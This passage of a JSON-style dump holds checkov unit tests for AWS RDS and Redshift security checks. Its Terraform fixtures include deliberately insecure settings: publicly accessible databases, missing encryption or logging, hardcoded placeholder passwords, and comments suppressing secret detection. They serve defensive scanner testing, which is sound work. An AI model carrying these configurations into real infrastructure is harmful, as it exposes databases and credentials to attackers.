skip_final_snapshot  = true\n  monitoring_interval  = \"5\"\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success1(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_db_instance\" \"default\" {\n  allocated_storage    = 10\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n  monitoring_interval  = 5\n  }\n           \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_db_instance\" \"default\" {\n  allocated_storage    = 10\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n  monitoring_interval  = 15\n  }\n           \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSHasSecurityGroup.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSHasSecurityGroup import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSHasSecurityGroup(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSHasSecurityGroup\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        failing_resources = {\n            \"aws_db_security_group.exists\",\n        }\n\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSIAMAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSIAMAuthentication import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSIAMAuthentication(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSIAMAuthentication\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.enabled_mysql\",\n            \"aws_db_instance.enabled_postgres\",\n        }\n        failing_resources = {\n            \"aws_db_instance.default_mysql\",\n            \"aws_db_instance.default_postgres\",\n            \"aws_db_instance.disabled_mysql\",\n            \"aws_db_instance.disabled_postgres\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSInstanceAutoBackupEncryptionWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSInstanceAutoBackupEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSInstanceAutoBackupEncryptionWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RDSInstanceAutoBackupEncryptionWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance_automated_backups_replication.pass\",\n        }\n        failing_resources = {\n            \"aws_db_instance_automated_backups_replication.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSInstanceDeletionProtection.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSInstanceDeletionProtection import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSInstanceDeletionProtection(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSInstanceDeletionProtection\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_db_instance.fail\",\n            \"aws_db_instance.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSInstancePerfInsightsEncryptionWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSInstancePerfInsightsEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSInstancePerfInsightsEncryptionWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSInstancePerfInsightsEncryptionWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.pass\",\n            \"aws_rds_cluster_instance.pass\",\n            \"aws_db_instance.pass_empty\",\n            \"aws_db_instance.pass_insights_disabled\",\n        }\n        failing_resources = {\n            \"aws_db_instance.fail\",\n            \"aws_rds_cluster_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSInstancePerformanceInsights.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSInstancePerformanceInsights import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSInstancePerformanceInsights(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSInstancePerformanceInsights\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.pass\",\n            \"aws_rds_cluster_instance.pass\"\n        }\n        failing_resources = {\n            \"aws_db_instance.fail\",\n            \"aws_db_instance.fail2\",\n            \"aws_rds_cluster_instance.fail\",\n            \"aws_rds_cluster_instance.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSMultiAZEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSMultiAZEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSMultiAZEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSMultiAZEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.enabled\",\n        }\n        failing_resources = {\n            \"aws_db_instance.disabled\",\n            \"aws_db_instance.default\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSPostgreSQLLogFDWExtension.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSPostgreSQLLogFDWExtension import check\n\n\nclass TestRDSPostgreSQLLogFDWExtension(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RDSPostgreSQLLogFDWExtension\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.pass\",\n            \"aws_rds_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_db_instance.fail\",\n            \"aws_db_instance.fail_old\",\n            \"aws_rds_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], len(passing_resources) + len(failing_resources) + 4)  # 4 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSPubliclyAccessible.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RDSPubliclyAccessible import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRDSPubliclyAccessible(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource aws_rds_cluster_instance \"rds_cluster_public\" {\n  cluster_identifier = \"id\"\n  instance_class = \"foo-bar\"\n  publicly_accessible = true\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster_instance']['rds_cluster_public']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource aws_rds_cluster_instance \"rds_cluster_public\" {\n          cluster_identifier = \"id\"\n          instance_class = \"foo-bar\"\n          publicly_accessible = false\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster_instance']['rds_cluster_public']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource aws_rds_cluster_instance \"rds_cluster_public\" {\n             cluster_identifier = \"id\"\n             instance_class = \"foo-bar\"\n           }\n           \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster_instance']['rds_cluster_public']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedShiftSSL.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedShiftSSL import check\nfrom checkov.terraform.runner import Runner\n\nclass TestRedShiftSSL(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedShiftSSL\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshift_parameter_group.pass\",\n            \"aws_redshift_parameter_group.passbutbool\",\n        }\n        failing_resources = {\n            \"aws_redshift_parameter_group.fail\",\n            \"aws_redshift_parameter_group.failasfalse\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterAllowVersionUpgrade.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterAllowVersionUpgrade import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRedshiftClusterAllowVersionUpgrade(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n               resource \"aws_redshift_cluster\" \"default\" {\n                  cluster_identifier = \"tf-redshift-cluster\"\n                  database_name      = \"mydb\"\n                  master_username    = \"foo\"\n                  master_password    = \"Mustbe8characters\"  # checkov:skip=CKV_SECRET_6 test secret\n                  node_type          = \"dc1.large\"\n                  cluster_type       = \"single-node\"\n                  allow_version_upgrade = false\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_missing_attribute(self):\n        hcl_res = hcl2.loads(\"\"\"\n                   resource \"aws_redshift_cluster\" \"default\" {\n                      cluster_identifier = \"tf-redshift-cluster\"\n                      database_name      = \"mydb\"\n                      master_username    = \"foo\"\n                      master_password    = \"Mustbe8characters\"\n                      node_type          = \"dc1.large\"\n                      cluster_type       = \"single-node\"\n                    }\n                   \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n               resource \"aws_redshift_cluster\" \"default\" {\n                  cluster_identifier = \"tf-redshift-cluster\"\n                  database_name      = \"mydb\"\n                  master_username    = \"foo\"\n                  master_password    = \"Mustbe8characters\"\n                  node_type          = \"dc1.large\"\n                  cluster_type       = \"single-node\"\n                  allow_version_upgrade = true\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterAutoSnap.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterAutoSnap import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRedshiftClusterAutoSnap(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftClusterAutoSnap\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshift_cluster.pass\",\n            \"aws_redshift_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_redshift_cluster.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterDatabaseName.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterDatabaseName import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRedshiftClusterDatabaseName(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftClusterDatabaseName\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshift_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_redshift_cluster.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterEncryption.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRedshiftClusterEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\n            \"cluster_identifier\": [\"tf-redshift-cluster\"],\n            \"database_name\": [\"mydb\"],\n            \"master_username\": [\"foo\"],\n            \"master_password\": [\"Mustbe8characters\"],\n            \"node_type\": [\"dc1.large\"],\n            \"cluster_type\": [\"single-node\"]\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"cluster_identifier\": [\"tf-redshift-cluster\"],\n            \"database_name\": [\"mydb\"],\n            \"master_username\": [\"foo\"],\n            \"master_password\": [\"Mustbe8characters\"],\n            \"node_type\": [\"dc1.large\"],\n            \"cluster_type\": [\"single-node\"],\n            \"encrypted\": [True]\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterKMSKey.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterKMSKey import check\nimport hcl2\n\n\nclass TestRedshiftClusterKMSKey(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_redshift_cluster\" \"test\" {\n                  cluster_identifier = \"tf-redshift-cluster\"\n                  database_name      = \"mydb\"\n                  master_username    = \"foo\"\n                  master_password    = \"Mustbe8characters\"  # checkov:skip=CKV_SECRET_6 test secret\n                  node_type          = \"dc1.large\"\n                  cluster_type       = \"single-node\"\n                }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_redshift_cluster\" \"test\" {\n                  cluster_identifier = \"tf-redshift-cluster\"\n                  database_name      = \"mydb\"\n                  master_username    = \"foo\"\n                  master_password    = \"Mustbe8characters\"\n                  node_type          = \"dc1.large\"\n                  cluster_type       = \"single-node\"\n                  kms_key_id         = \"someKey\"\n                }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterLogging.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterLogging import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRedshiftClusterLogging(unittest.TestCase):\n\n    def test_failure_missing_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_redshift_cluster\" \"default\" {\n          cluster_identifier = \"tf-redshift-cluster\"\n          database_name      = \"mydb\"\n          master_username    = \"foo\"\n          master_password    = \"Mustbe8characters\"  # checkov:skip=CKV_SECRET_6 test secret\n          node_type          = \"dc1.large\"\n          cluster_type       = \"single-node\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_missing_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_redshift_cluster\" \"default\" {\n          cluster_identifier = \"tf-redshift-cluster\"\n          database_name      = \"mydb\"\n          master_username    = \"foo\"\n          master_password    = \"Mustbe8characters\"\n          node_type          = \"dc1.large\"\n          cluster_type       = \"single-node\"\n          logging {\n            somethingelse = \"true\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\n    def test_failure_false(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_redshift_cluster\" \"default\" {\n          cluster_identifier = \"tf-redshift-cluster\"\n          database_name      = \"mydb\"\n          master_username    = \"foo\"\n          master_password    = \"Mustbe8characters\"\n          node_type          = \"dc1.large\"\n          cluster_type       = \"single-node\"\n          logging {\n            enable = 0   \n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n  \n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_redshift_cluster\" \"default\" {\n          cluster_identifier = \"tf-redshift-cluster\"\n          database_name      = \"mydb\"\n          master_username    = \"foo\"\n          master_password    = \"Mustbe8characters\"\n          node_type          = \"dc1.large\"\n          cluster_type       = \"single-node\"\n          logging {\n            enable = 1\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterPubliclyAccessible.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RedshitClusterPubliclyAvailable import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRedshitClusterPubliclyAccessible(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_redshift_cluster\" \"public\" {\n            cluster_identifier  = \"tf-redshift-cluster\"\n            database_name       = \"mydb\"\n            master_username     = \"foo\"\n            master_password     = \"Mustbe8characters\"  # checkov:skip=CKV_SECRET_6 test secret\n            node_type           = \"dc1.large\"\n            publicly_accessible = true\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['public']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_redshift_cluster\" \"public\" {\n            cluster_identifier  = \"tf-redshift-cluster\"\n            database_name       = \"mydb\"\n            master_username     = \"foo\"\n            master_password     = \"Mustbe8characters\"\n            node_type           = \"dc1.large\"\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['public']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_redshift_cluster\" \"private\" {\n            cluster_identifier  = \"tf-redshift-cluster\"\n            database_name       = \"mydb\"\n            master_username     = \"foo\"\n            master_password     = \"Mustbe8characters\"\n            node_type           = \"dc1.large\"\n            publicly_accessible = false\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['private']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterUseEnhancedVPCRouting.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterUseEnhancedVPCRouting import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRedshiftClusterUseEnhancedVPCRouting(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftClusterUseEnhancedVPCRouting\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshift_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_redshift_cluster.fail\",\n            \"aws_redshift_cluster.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftClusterWithCommonUsernameAndPublicAccess.py",
